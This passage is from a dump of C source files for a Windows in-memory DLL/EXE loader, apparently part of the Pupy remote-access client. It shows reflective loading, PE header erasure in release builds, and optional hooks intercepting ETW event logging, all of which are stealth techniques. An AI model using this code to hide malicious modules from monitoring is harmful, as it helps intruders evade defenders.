MEM_COMMIT,\n        PAGE_READWRITE);\n#endif\n\n    if (code == NULL) {\n        // try to allocate memory at arbitrary position\n        code = (unsigned char *)VirtualAlloc(NULL,\n            old_header->OptionalHeader.SizeOfImage,\n            MEM_RESERVE | MEM_COMMIT,\n            PAGE_READWRITE);\n        if (code == NULL) {\n            SetLastError(ERROR_OUTOFMEMORY);\n            dprint(\"Can't allocate base image\\n\");\n            goto cleanup;\n        }\n    }\n\n    dprint(\"ImageBase: %p - %p\\n\", code, code + old_header->OptionalHeader.SizeOfImage);\n\n    result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE));\n    if (result == NULL) {\n        VirtualFree(code, 0, MEM_RELEASE);\n        SetLastError(ERROR_OUTOFMEMORY);\n        goto cleanup;\n    }\n\n    result->codeBase = code;\n    result->codeSize = (ULONG) old_header->OptionalHeader.SizeOfImage;\n    result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;\n\n    result->callbacks = pdlCallbacks;\n    result->flags = flags;\n    result->pvExportFilter = pvExportFilter;\n    result->hOriginalModule = hOriginalModule;\n    if (_ISSET(flags, MEMORY_LOAD_ALIASED)) {\n        result->hAliasedModule = (HMODULE) pvDllMainReserved;\n    }\n\n    GetNativeSystemInfo(&sysInfo);\n\n    result->pageSize = sysInfo.dwPageSize;\n\n    // commit memory for headers\n    headers = (unsigned char *)VirtualAlloc(code,\n        old_header->OptionalHeader.SizeOfHeaders,\n        MEM_COMMIT,\n        PAGE_READWRITE);\n\n    // copy PE header to code\n    memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);\n    result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];\n\n    // update position\n    result->headers->OptionalHeader.ImageBase = (uintptr_t)code;\n\n    // copy sections from DLL file block to new memory location\n    if (!CopySections((const unsigned char *) data, old_header, result)) {\n        goto error;\n    }\n\n    // adjust base address of imported data\n    locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase);\n    if (locationDelta != 0) {\n        result->isRelocated = PerformBaseRelocation(result, locationDelta);\n    } else {\n        result->isRelocated = TRUE;\n    }\n\n    // Save Resources VA\n    if (!BuildResourceTables(result)) {\n        goto error;\n    }\n\n    // load required dlls and adjust function table of imports\n    dprint(\"Build import table..\\n\");\n    if (!BuildImportTable(result)) {\n        goto error;\n    }\n\n    // mark memory pages depending on section headers and release\n    // sections that are marked as \"discardable\"\n    dprint(\"Finalize sections..\\n\");\n    if (!FinalizeSections(result)) {\n        goto error;\n    }\n\n    // TLS callbacks are executed BEFORE the main loading\n    if (!_ISSET(flags, MEMORY_LOAD_NO_TLS_CALLBACKS)) {\n        if (!ExecuteTLS(result)) {\n            goto error;\n        }\n    }\n\n#ifdef _WIN64\n    if (!_ISSET(flags, MEMORY_LOAD_NO_EXCEPTION_HANDLING)) {\n        // Enable exceptions\n        if (!RegisterExceptionTable(result)) {\n            goto error;\n        }\n    }\n#endif\n\n    // Build functions table\n    dprint(\"Build export table..\\n\");\n    BuildExportTable(result);\n\n    // get entry point of loaded library\n    if (!_ISSET(flags, MEMORY_LOAD_NO_EP) &&\n            result->isDLL && result->pcDllEntry)\n    {\n        BOOL successfull;\n\n        dprint(\n            \"Execute EP (ImageBase: %p EP: %p ARG: %p)..\\n\",\n            code, result->pcDllEntry, pvDllMainReserved\n        );\n\n        // notify library about attaching to process\n        successfull = result->pcDllEntry(\n            (HINSTANCE)code, DLL_PROCESS_ATTACH,\n            _ISSET(flags, MEMORY_LOAD_ALIASED) ? NULL : pvDllMainReserved\n        );\n\n        if (!successfull) {\n            SetLastError(ERROR_DLL_INIT_FAILED);\n            goto error;\n        }\n        result->initialized = TRUE;\n    }\n\n    dprint(\"MemoryLoadLibraryEx: Library loaded\\n\");\n\n#ifndef DEBUG\n    // Cleanup PE headers\n    CleanupHeaders(result);\n\n    dprint(\"MemoryLoadLibraryEx: headers cleaned up\\n\");\n#endif\n\ncleanup:\n    if (pvViewOfFile)\n        UnmapViewOfFile(pvViewOfFile);\n\n    if (hMapping != INVALID_HANDLE_VALUE)\n        CloseHandle(hMapping);\n\n    return (HMEMORYMODULE)result;\n\nerror:\n    dprint(\"MemoryLoadLibraryEx: error\\n\");\n    // cleanup\n    MemoryFreeLibrary(result);\n\n    if (pvViewOfFile)\n        UnmapViewOfFile(pvViewOfFile);\n\n    if (hMapping != INVALID_HANDLE_VALUE)\n        CloseHandle(hMapping);\n\n    return NULL;\n}\n\nstatic\nFARPROC _MemoryGetProcAddress(PMEMORYMODULE module, LPCSTR name)\n{\n    if (!module || !module->exports.dwFunctionsCount) {\n        SetLastError(ERROR_PROC_NOT_FOUND);\n        return NULL;\n    }\n\n    if (HIWORD(name) == 0) {\n        DWORD idx;\n        // load function by ordinal value\n        if (LOWORD(name) < module->exports.dwBase) {\n            SetLastError(ERROR_PROC_NOT_FOUND);\n            return NULL;\n        }\n\n        idx = LOWORD(name) - module->exports.dwBase;\n        if (idx > module->exports.dwFunctionsCount) {\n            SetLastError(ERROR_PROC_NOT_FOUND);\n            return NULL;\n        }\n\n        return module->exports.fpFunctions[idx];\n    } else {\n        FUNCHASH *phIdx;\n        HASH_FIND_STR(module->phExportsIndex, name, phIdx);\n\n        if (!phIdx) {\n            SetLastError(ERROR_PROC_NOT_FOUND);\n            return NULL;\n        }\n\n        return phIdx->proc;\n    }\n}\n\nFARPROC MemoryGetProcAddress(HMEMORYMODULE hmodule, LPCSTR name)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hmodule;\n    FARPROC fpAddress;\n\n    if (!module)\n        return NULL;\n\n    fpAddress = _MemoryGetProcAddress(module, name);\n\n    if (!fpAddress && module->hAliasedModule) {\n        dprint(\n            \"MemoryGetProcAddress fallback aliased -> %p\\n\",\n            module->hAliasedModule\n        );\n        fpAddress = module->callbacks->systemGetProcAddress(\n            module->hAliasedModule, name\n        );\n    }\n\n    if (!fpAddress && module->hOriginalModule) {\n        dprint(\n            \"MemoryGetProcAddress fallback -> %p\\n\",\n            module->hOriginalModule\n        );\n        fpAddress = module->callbacks->systemGetProcAddress(\n            module->hOriginalModule, name\n        );\n    }\n\n    return fpAddress;\n}\n\n\nDWORD MemoryModuleFileNameA(HMODULE hModule, LPSTR name, DWORD dwDest)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hModule;\n    if (module->hAliasedModule) {\n        return module->callbacks->systemGetModuleFileNameA(\n            module->hAliasedModule, name, dwDest);\n    }\n\n    if (module->hOriginalModule) {\n        return module->callbacks->systemGetModuleFileNameA(\n            module->hOriginalModule, name, dwDest);\n    }\n\n    return 0xFFFFFFFF;\n}\n\nDWORD MemoryModuleFileNameW(HMODULE hModule, LPWSTR name, DWORD dwDest)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hModule;\n    if (module->hAliasedModule) {\n        return module->callbacks->systemGetModuleFileNameW(\n            module->hAliasedModule, name, dwDest);\n    }\n\n    if (module->hOriginalModule) {\n        return module->callbacks->systemGetModuleFileNameW(\n            module->hOriginalModule, name, dwDest);\n    }\n\n    return 0xFFFFFFFF;\n}\n\nvoid MemoryFreeLibrary(HMEMORYMODULE mod)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE)mod;\n    FUNCHASH *phIdx, *phTmp, *phExports;\n\n    if (module == NULL) {\n        return;\n    }\n\n    dprint(\"MemoryFreeLibrary (%p)\\n\", mod);\n\n    phExports = module->phExportsIndex;\n\n    if (module->initialized && module->pcDllEntry) {\n        // notify library about detaching from process\n        DllEntryProc DllEntry = (DllEntryProc) (module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);\n        (*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);\n    }\n\n    if (module->modules != NULL) {\n        // free previously opened libraries\n        int i;\n        for (i=0; i<module->numModules; i++) {\n            if (module->modules[i] != NULL) {\n                module->callbacks->freeLibrary(module->modules[i]);\n            }\n        }\n\n        free(module->modules);\n    }\n\n    if (module->codeBase != NULL) {\n        // release memory of library\n        VirtualFree(module->codeBase, 0, MEM_RELEASE);\n    }\n\n    free(module->exports.fpFunctions);\n\n    HASH_ITER(hh, phExports, phIdx, phTmp) {\n        HASH_DEL(phExports, phIdx);\n        free(phIdx->name);\n        free(phIdx);\n    }\n\n    HeapFree(GetProcessHeap(), 0, module);\n}\n\n#define DEFAULT_LANGUAGE MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)\n\nHMEMORYRSRC _MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type)\n{\n    return _MemoryFindResourceExW(module, name, type, DEFAULT_LANGUAGE);\n}\n\nstatic PIMAGE_RESOURCE_DIRECTORY_ENTRY _MemorySearchResourceEntry(\n    void *root,\n    PIMAGE_RESOURCE_DIRECTORY resources,\n    LPCWSTR key)\n{\n    PIMAGE_RESOURCE_DIRECTORY_ENTRY entries = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (\n        resources + 1);\n    PIMAGE_RESOURCE_DIRECTORY_ENTRY result = NULL;\n\n    DWORD start;\n    DWORD end;\n    DWORD middle;\n\n    if (!IS_INTRESOURCE(key) && key[0] == TEXT('#')) {\n        // special case: resource id given as string\n        TCHAR *endpos = NULL;\n        long int tmpkey = (WORD) _tcstol((TCHAR *) &key[1], &endpos, 10);\n        if (tmpkey <= 0xffff && lstrlen(endpos) == 0) {\n            key = MAKEINTRESOURCEW(tmpkey);\n        }\n    }\n\n    // entries are stored as ordered list of named entries,\n    // followed by an ordered list of id entries - we can do\n    // a binary search to find faster...\n    if (IS_INTRESOURCE(key)) {\n        WORD check = (WORD) (uintptr_t) key;\n        start = resources->NumberOfNamedEntries;\n        end = start + resources->NumberOfIdEntries;\n\n        while (end > start) {\n            WORD entryName;\n            middle = (start + end) >> 1;\n            entryName = (WORD) entries[middle].Name;\n            if (check < entryName) {\n                end = (end != middle ? middle : middle-1);\n            } else if (check > entryName) {\n                start = (start != middle ? middle : middle+1);\n            } else {\n                result = &entries[middle];\n                break;\n            }\n        }\n    } else {\n        LPCWSTR searchKey;\n        size_t searchKeyLen = wcslen(key);\n        searchKey = key;\n        start = 0;\n        end = resources->NumberOfNamedEntries;\n        while (end > start) {\n            int cmp;\n            PIMAGE_RESOURCE_DIR_STRING_U resourceString;\n            middle = (start + end) >> 1;\n            resourceString = (PIMAGE_RESOURCE_DIR_STRING_U) OffsetPointer(root, entries[middle].Name & 0x7FFFFFFF);\n            cmp = _wcsnicmp(searchKey, resourceString->NameString, resourceString->Length);\n            if (cmp == 0) {\n                // Handle partial match\n                if (searchKeyLen > resourceString->Length) {\n                    cmp = 1;\n                } else if (searchKeyLen < resourceString->Length) {\n                    cmp = -1;\n                }\n            }\n            if (cmp < 0) {\n                end = (middle != end ? middle : middle-1);\n            } else if (cmp > 0) {\n                start = (middle != start ? middle : middle+1);\n            } else {\n                result = &entries[middle];\n                break;\n            }\n        }\n    }\n\n    return result;\n}\n\nHMEMORYRSRC _MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hModule;\n    PIMAGE_RESOURCE_DIRECTORY rootResources;\n    PIMAGE_RESOURCE_DIRECTORY nameResources;\n    PIMAGE_RESOURCE_DIRECTORY typeResources;\n    PIMAGE_RESOURCE_DIRECTORY_ENTRY foundType;\n    PIMAGE_RESOURCE_DIRECTORY_ENTRY foundName;\n    PIMAGE_RESOURCE_DIRECTORY_ENTRY foundLanguage;\n\n    if (!module->resources) {\n        // no resource table found\n        SetLastError(ERROR_RESOURCE_DATA_NOT_FOUND);\n        return NULL;\n    }\n\n    if (language == DEFAULT_LANGUAGE) {\n        // use language from current thread\n        language = LANGIDFROMLCID(GetThreadLocale());\n    }\n\n    // resources are stored as three-level tree\n    // - first node is the type\n    // - second node is the name\n    // - third node is the language\n    rootResources = (PIMAGE_RESOURCE_DIRECTORY) module->resources;\n    foundType = _MemorySearchResourceEntry(rootResources, rootResources, type);\n    if (foundType == NULL) {\n        SetLastError(ERROR_RESOURCE_TYPE_NOT_FOUND);\n        return NULL;\n    }\n\n    typeResources = (PIMAGE_RESOURCE_DIRECTORY) (module->resources + (foundType->OffsetToData & 0x7fffffff));\n    foundName = _MemorySearchResourceEntry(rootResources, typeResources, name);\n    if (foundName == NULL) {\n        SetLastError(ERROR_RESOURCE_NAME_NOT_FOUND);\n        return NULL;\n    }\n\n    nameResources = (PIMAGE_RESOURCE_DIRECTORY) (module->resources + (foundName->OffsetToData & 0x7fffffff));\n    foundLanguage = _MemorySearchResourceEntry(rootResources, nameResources, (LPCWSTR) (uintptr_t) language);\n    if (foundLanguage == NULL) {\n        // requested language not found, use first available\n        if (nameResources->NumberOfIdEntries == 0) {\n            SetLastError(ERROR_RESOURCE_LANG_NOT_FOUND);\n            return NULL;\n        }\n\n        foundLanguage = (PIMAGE_RESOURCE_DIRECTORY_ENTRY) (nameResources + 1);\n    }\n\n    return (module->resources + (foundLanguage->OffsetToData & 0x7fffffff));\n}\n\nDWORD _MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource)\n{\n    PIMAGE_RESOURCE_DATA_ENTRY entry;\n    UNREFERENCED_PARAMETER(module);\n    entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;\n    if (entry == NULL) {\n        return 0;\n    }\n\n    return entry->Size;\n}\n\nLPVOID _MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource)\n{\n    unsigned char *codeBase = ((PMEMORYMODULE) module)->codeBase;\n    PIMAGE_RESOURCE_DATA_ENTRY entry = (PIMAGE_RESOURCE_DATA_ENTRY) resource;\n    if (entry == NULL) {\n        return NULL;\n    }\n\n    return codeBase + entry->OffsetToData;\n}\n\nHMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCSTR type)\n{\n    return MemoryFindResourceExA(module, name, type, DEFAULT_LANGUAGE);\n}\n\n\nHMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type)\n{\n    return _MemoryFindResourceW(module, name, type);\n}\n\nHMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language)\n{\n    size_t namelen;\n    size_t typelen;\n    LPWSTR wName;\n    LPWSTR wType;\n\n    if (!name || !type)\n        return NULL;\n\n    namelen = (strlen(name) + 1) * 2;\n    typelen = (strlen(type) + 1) * 2;\n    wName = _alloca(namelen);\n    wType = _alloca(typelen);\n    mbstowcs(wName, name, namelen);\n    mbstowcs(wType, type, typelen);\n\n    return MemoryFindResourceW(hModule, wName, wType);\n}\n\nHMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE)hModule;\n    HMEMORYRSRC resource = NULL;\n\n    if (!hModule)\n        return NULL;\n\n    if (!resource && module->hAliasedModule) {\n        resource = module->callbacks->systemFindResourceExW(\n            module->hAliasedModule, name, type, language\n        );\n    }\n\n    if (!resource && module->hOriginalModule) {\n        resource = module->callbacks->systemFindResourceExW(\n            module->hOriginalModule, name, type, language\n        );\n    }\n\n    if (resource)\n        return resource;\n\n    return _MemoryFindResourceExW(hModule, name, type, language);\n}\n\nDWORD MemorySizeofResource(HMEMORYMODULE hModule, HMEMORYRSRC resource)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hModule;\n    DWORD dwSize = 0;\n\n    if (!hModule)\n        return 0;\n\n    if (!dwSize && module->hAliasedModule) {\n        dwSize = module->callbacks->systemSizeofResource(\n            module->hAliasedModule, resource\n        );\n    }\n\n    if (!dwSize && module->hOriginalModule) {\n        dwSize = module->callbacks->systemSizeofResource(\n            module->hOriginalModule, resource\n        );\n    }\n\n    if (dwSize)\n        return dwSize;\n\n    return _MemorySizeofResource(hModule, resource);\n}\n\nLPVOID MemoryLoadResource(HMEMORYMODULE hModule, HMEMORYRSRC resource)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hModule;\n    PVOID *pvData = NULL;\n\n    if (!hModule)\n        return 0;\n\n    if (!pvData && module->hAliasedModule) {\n        pvData = module->callbacks->systemLoadResource(\n            module->hAliasedModule, resource\n        );\n    }\n\n    if (!pvData && module->hOriginalModule) {\n        pvData = module->callbacks->systemLoadResource(\n            module->hOriginalModule, resource\n        );\n    }\n\n    if (pvData)\n        return pvData;\n\n    return _MemoryLoadResource(module, resource);\n}\n\nBOOL GetMemoryModuleInfo(\n    HMEMORYMODULE hMemoryModule, PVOID *ppvBaseAddress, PULONG pulSize)\n{\n    PMEMORYMODULE module = (PMEMORYMODULE) hMemoryModule;\n    if (!module)\n        return FALSE;\n\n    if (ppvBaseAddress)\n        *ppvBaseAddress = module->codeBase;\n\n    if (pulSize)\n        *pulSize = module->codeSize;\n\n    return TRUE;\n}"
  },
  {
    "path": "client/sources-windows-py3/MemoryModule.h",
    "content": "/*\n * Memory DLL loading code\n * Version 0.0.4\n *\n * Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de\n * http://www.joachim-bauch.de\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http://www.mozilla.org/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is MemoryModule.h\n *\n * The Initial Developer of the Original Code is Joachim Bauch.\n *\n * Portions created by Joachim Bauch are Copyright (C) 2004-2015\n * Joachim Bauch. All Rights Reserved.\n *\n */\n\n#ifndef __MEMORY_MODULE_HEADER\n#define __MEMORY_MODULE_HEADER\n\n#include <windows.h>\n\ntypedef void *HMEMORYMODULE;\n\ntypedef void *HMEMORYRSRC;\n\ntypedef void *HCUSTOMMODULE;\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef HMODULE (CALLBACK *CustomGetModuleHandleA)(LPCSTR);\ntypedef HMODULE (CALLBACK *CustomGetModuleHandleW)(LPCWSTR);\ntypedef BOOL (CALLBACK *CustomGetModuleHandleExA)(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);\ntypedef BOOL (CALLBACK *CustomGetModuleHandleExW)(DWORD dwFlags, LPVOID lpArg, HMODULE *phModule);\ntypedef HMODULE (CALLBACK *CustomLoadLibraryExA)(LPCSTR, HANDLE, DWORD);\ntypedef HMODULE (CALLBACK *CustomLoadLibraryExW)(LPCWSTR, HANDLE, DWORD);\ntypedef HCUSTOMMODULE (CALLBACK *CustomLoadLibraryA)(LPCSTR);\ntypedef HCUSTOMMODULE (CALLBACK *CustomLoadLibraryW)(LPCWSTR);\n\n\ntypedef DWORD (CALLBACK *CustomGetModuleFileNameA)(HMODULE, LPSTR, DWORD);\ntypedef DWORD (CALLBACK *CustomGetModuleFileNameW)(HMODULE, LPWSTR, DWORD);\n\ntypedef HRSRC (CALLBACK *CustomFindResourceA)(HMEMORYMODULE module, LPCSTR name, LPCSTR type);\ntypedef HRSRC (CALLBACK *CustomFindResourceW)(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type);\n\ntypedef HRSRC (CALLBACK *CustomFindResourceExA)(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language);\ntypedef HRSRC (CALLBACK *CustomFindResourceExW)(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);\n\ntypedef DWORD (CALLBACK *CustomSizeofResource)(HMEMORYMODULE module, HRSRC resource);\ntypedef LPVOID (CALLBACK *CustomLoadResource)(HMEMORYMODULE module, HRSRC resource);\n\ntypedef FARPROC (CALLBACK *CustomGetProcAddress)(HMODULE, LPCSTR);\ntypedef void (CALLBACK *CustomFreeLibraryFunc)(HMODULE);\n\ntypedef HANDLE (CALLBACK *CustomCreateThread)(\n    LPSECURITY_ATTRIBUTES   lpThreadAttributes,\n    SIZE_T                  dwStackSize,\n    LPTHREAD_START_ROUTINE  lpStartAddress,\n    LPVOID                  lpParameter,\n    DWORD                   dwCreationFlags,\n    LPDWORD                 lpThreadId\n);\n\n#ifdef _PUPY_PRIVATE_WS2_32\ntypedef NTSTATUS (CALLBACK *CustomEtwRegister) (\n    LPCGUID            ProviderId,\n    PVOID EnableCallback,\n    PVOID              CallbackContext,\n    PULONGLONG         RegHandle\n);\n\ntypedef ULONG (CALLBACK *CustomEtwEventWrite) (\n    ULONGLONG RegHandle,\n    PVOID EventDescriptor,\n    ULONG UserDataCount,\n    PVOID UserData\n);\n\ntypedef ULONG (CALLBACK *CustomEtwEventWriteFull) (\n    ULONGLONG RegHandle,\n    PVOID EventDescriptor,\n    USHORT EventProperty,\n    LPCGUID ActivityId,\n    LPCGUID RelatedActivityId,\n    ULONG UserDataCount,\n    PVOID UserData\n);\n\ntypedef NTSTATUS (CALLBACK *CustomEtwUnregister) (\n    ULONGLONG RegHandle\n);\n#endif\n\n/**\n * Load EXE/DLL from memory location.\n *\n * All dependencies are resolved using default LoadLibrary/GetProcAddress\n * calls through the Windows API.\n */\nHMEMORYMODULE MemoryLoadLibrary(const void *);\n\ntypedef struct {\n    CustomLoadLibraryA loadLibraryA;\n    CustomLoadLibraryW loadLibraryW;\n    CustomLoadLibraryExA loadLibraryExA;\n    CustomLoadLibraryExW loadLibraryExW;\n    CustomGetModuleHandleA getModuleHandleA;\n    CustomGetModuleHandleW getModuleHandleW;\n    CustomGetModuleHandleExA getModuleHandleExA;\n    CustomGetModuleHandleExW getModuleHandleExW;\n    CustomGetModuleFileNameA getModuleFileNameA;\n    CustomGetModuleFileNameW getModuleFileNameW;\n    CustomGetProcAddress getProcAddress;\n    CustomFreeLibraryFunc freeLibrary;\n\n    CustomFindResourceA getFindResourceA;\n    CustomFindResourceW getFindResourceW;\n    CustomFindResourceExA getFindResourceExA;\n    CustomFindResourceExW getFindResourceExW;\n    CustomSizeofResource getSizeofResource;\n    CustomLoadResource getLoadResource;\n\n    CustomGetProcAddress systemGetProcAddress;\n    CustomGetModuleFileNameA systemGetModuleFileNameA;\n    CustomGetModuleFileNameW systemGetModuleFileNameW;\n    CustomFindResourceExW systemFindResourceExW;\n    CustomSizeofResource systemSizeofResource;\n    CustomLoadResource systemLoadResource;\n\n    CustomCreateThread createThread;\n\n#ifdef _PUPY_PRIVATE_WS2_32\n    CustomEtwRegister systemEtwRegister;\n    CustomEtwEventWrite systemEtwEventWrite;\n    CustomEtwEventWriteFull systemEtwEventWriteFull;\n    CustomEtwUnregister systemEtwUnregister;\n#endif\n} DL_CALLBACKS, *PDL_CALLBACKS;\n\ntypedef enum {\n    MEMORY_LOAD_DEFAULT = 0,\n    MEMORY_LOAD_NO_EP = 1 << 0,\n    MEMORY_LOAD_NO_TLS_CALLBACKS = 1 << 1,\n    MEMORY_LOAD_NO_EXCEPTION_HANDLING = 1 << 2,\n    MEMORY_LOAD_FROM_HMODULE = 1 << 3,\n    MEMORY_LOAD_ALIASED = 1 << 4,\n    MEMORY_LOAD_UNHOOK = 1 << 5,\n    MEMORY_LOAD_EXPORT_FILTER_FNV1A = 1 << 6,\n    MEMORY_LOAD_EXPORT_FILTER_PREFIX = 1 << 7,\n} MEMORY_LOAD_FLAGS;\n\n/**\n * Load EXE/DLL from memory location using custom dependency resolvers.\n *\n * Dependencies will be resolved using passed callback methods.\n */\nHMEMORYMODULE MemoryLoadLibraryEx(\n    const void *pvData,\n    PDL_CALLBACKS pdlCallbacks,\n    void *pvDllMainReserved,\n    void *pvExportFilter,\n    MEMORY_LOAD_FLAGS flags\n);\n\n/**\n * Get address of exported method. Supports loading both by name and by\n * ordinal value.\n */\nFARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);\n\n/**\n * Free previously loaded EXE/DLL.\n */\nvoid MemoryFreeLibrary(HMEMORYMODULE);\n\nDWORD MemoryModuleFileNameA(HMODULE, LPSTR, DWORD);\nDWORD MemoryModuleFileNameW(HMODULE, LPWSTR, DWORD);\n\nBOOL GetMemoryModuleInfo(HMEMORYMODULE hModule, PVOID *ppvBaseAddress, PULONG pulSize);\n\nHMEMORYRSRC MemoryFindResourceA(HMEMORYMODULE module, LPCSTR name, LPCSTR type);\nHMEMORYRSRC MemoryFindResourceW(HMEMORYMODULE module, LPCWSTR name, LPCWSTR type);\n\nHMEMORYRSRC MemoryFindResourceExA(HMEMORYMODULE hModule, LPCSTR name, LPCSTR type, WORD language);\nHMEMORYRSRC MemoryFindResourceExW(HMEMORYMODULE hModule, LPCWSTR name, LPCWSTR type, WORD language);\n\nDWORD MemorySizeofResource(HMEMORYMODULE module, HMEMORYRSRC resource);\nLPVOID MemoryLoadResource(HMEMORYMODULE module, HMEMORYRSRC resource);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif  // __MEMORY_MODULE_HEADER\n"
  },
  {
    "path": "client/sources-windows-py3/MyLoadLibrary.c",
    "content": "#include \"MemoryModule.h\"\n#include \"MyLoadLibrary.h\"\n\n#include <string.h>\n#include <malloc.h>\n#include \"uthash.h\"\n\n#include \"debug.h\"\n\ntypedef struct _ORIGINAL_THREAD_ARGS {\n    LPTHREAD_START_ROUTINE lpOriginalRoutine;\n    LPVOID lpOriginalParameter;\n    LPTOP_LEVEL_EXCEPTION_FILTER lpExceptionFilter;\n} ORIGINAL_THREAD_ARGS, *PORIGINAL_THREAD_ARGS;\n\ntypedef struct {\n    PSTR name;\n    PSTR fileName;\n\n    LPTOP_LEVEL_EXCEPTION_FILTER ehFilter;\n\n    HCUSTOMMODULE module;\n    int refcount;\n    int pin;\n\n    UT_hash_handle by_name;\n    UT_hash_handle by_filename;\n    UT_hash_handle by_module;\n} HCUSTOMLIBRARY, *PHCUSTOMLIBRARY;\n\ntypedef struct {\n    PHCUSTOMLIBRARY by_module;\n    PHCUSTOMLIBRARY by_name;\n    PHCUSTOMLIBRARY by_filename;\n    CRITICAL_SECTION lock;\n    PDL_CALLBACKS pCallbacks;\n} HLIBRARIES, *PHLIBRARIES;\n\nstatic PHLIBRARIES libraries = NULL;\nstatic LPTOP_LEVEL_EXCEPTION_FILTER lpDefaultExceptionHandler = NULL;\n\nVOID MySetLibraries(PVOID pLibraries) {\n    if (!libraries) {\n        dprint(\"Initialize libraries with: %p\\n\", pLibraries);\n        libraries = pLibraries;\n    } else {\n        dprint(\"Libraries already initialized\\n\");\n    }\n}\n\nPVOID MyGetLibraries() {\n    return (PVOID) libraries;\n}\n\nstatic PHCUSTOMLIBRARY _FindMemoryModuleByAddress(\n        PVOID pvAddress, PVOID *ppvBaseAddress) {\n    PHCUSTOMLIBRARY module, tmp;\n    UINT_PTR uiAddress = (UINT_PTR) pvAddress;\n\n    if (!pvAddress)\n        return NULL;\n\n    HASH_ITER(by_module, libraries->by_module, module, tmp) {\n        PVOID pvBaseAddress = NULL;\n        ULONG ulSize = 0;\n\n        if (GetMemoryModuleInfo(module->module, &pvBaseAddress, &ulSize)) {\n            UINT_PTR uiBaseAddress = (UINT_PTR) pvBaseAddress;\n\n            if (uiAddress >= uiBaseAddress && uiAddress <= (uiBaseAddress + ulSize)) {\n                if (ppvBaseAddress)\n                    *ppvBaseAddress = pvBaseAddress;\n\n                return module;\n            }\n        }\n    }\n\n    return NULL;\n}\n\n/****************************************************************\n * Search for a loaded MemoryModule in the linked list, either by name\n * or by module handle.\n */\nstatic PHCUSTOMLIBRARY _FindMemoryModule(LPCSTR name, HMODULE module)\n{\n    PHCUSTOMLIBRARY phIdx = NULL;\n\n    if (!name && !module)\n        return NULL;\n\n    if (!libraries)\n        return NULL;\n\n    EnterCriticalSection(&libraries->lock);\n\n    if (name) {\n        LPCSTR srcName = NULL;\n        PSTR psName;\n        PSTR psFileName;\n        PSTR psi;\n        size_t len, fileNameLen;\n\n        srcName = strrchr(name, '\\\\');\n        if (srcName)\n            srcName ++;\n\n        if (!srcName || !srcName[0]) {\n            srcName = strrchr(name, '/');\n            if (srcName)\n                srcName ++;\n        }\n\n        if (!srcName || !srcName[0])\n            srcName = name;\n\n        len = strlen(srcName);\n        fileNameLen = strlen(name);\n\n        psName = _alloca(len + 1);\n        psFileName = _alloca(fileNameLen + 1);\n        memcpy(psName, srcName, len+1);\n        memcpy(psFileName, name, len+1);\n\n        _strupr(psName);\n        _strupr(psFileName);\n\n        psi = strrchr(psName, '.');\n        if (psi && !strcmp(psi, \".DLL\"))\n            *psi = '\\0';\n\n        for (psi=psFileName; *psi; psi++)\n            if (*psi == '/')\n                *psi = '\\\\';\n\n        HASH_FIND(\n            by_filename, libraries->by_filename,\n            psFileName, fileNameLen, phIdx\n        );\n\n        if (!phIdx) {\n            HASH_FIND(\n                by_name, libraries->by_name,\n                psName, len, phIdx\n            );\n        }\n\n        dprint(\n            \"_FindMemoryModule by name %s -> %p (%p)\\n\",\n            psName, phIdx, phIdx? phIdx->module : NULL);\n    } else {\n\n        HASH_FIND(\n            by_module, libraries->by_module,\n            &module, sizeof(void *), phIdx\n        );\n\n        dprint(\"_FindMemoryModule by module %p -> %p (%p)\\n\", module, phIdx, phIdx? phIdx->module : NULL);\n    }\n\n    LeaveCriticalSection(&libraries->lock);\n\n    return phIdx;\n}\n\nstatic PHCUSTOMLIBRARY _FindMemoryModuleW(LPCWSTR name)\n{\n    PSTR pszName = NULL;\n    PHCUSTOMLIBRARY hResult = NULL;\n    DWORD dwRequiredSize = WideCharToMultiByte(\n        CP_OEMCP, 0, name, -1, NULL,\n        0, NULL, NULL\n    );\n\n    if (!SUCCEEDED(dwRequiredSize))\n        return NULL;\n\n    dwRequiredSize += 1;\n\n    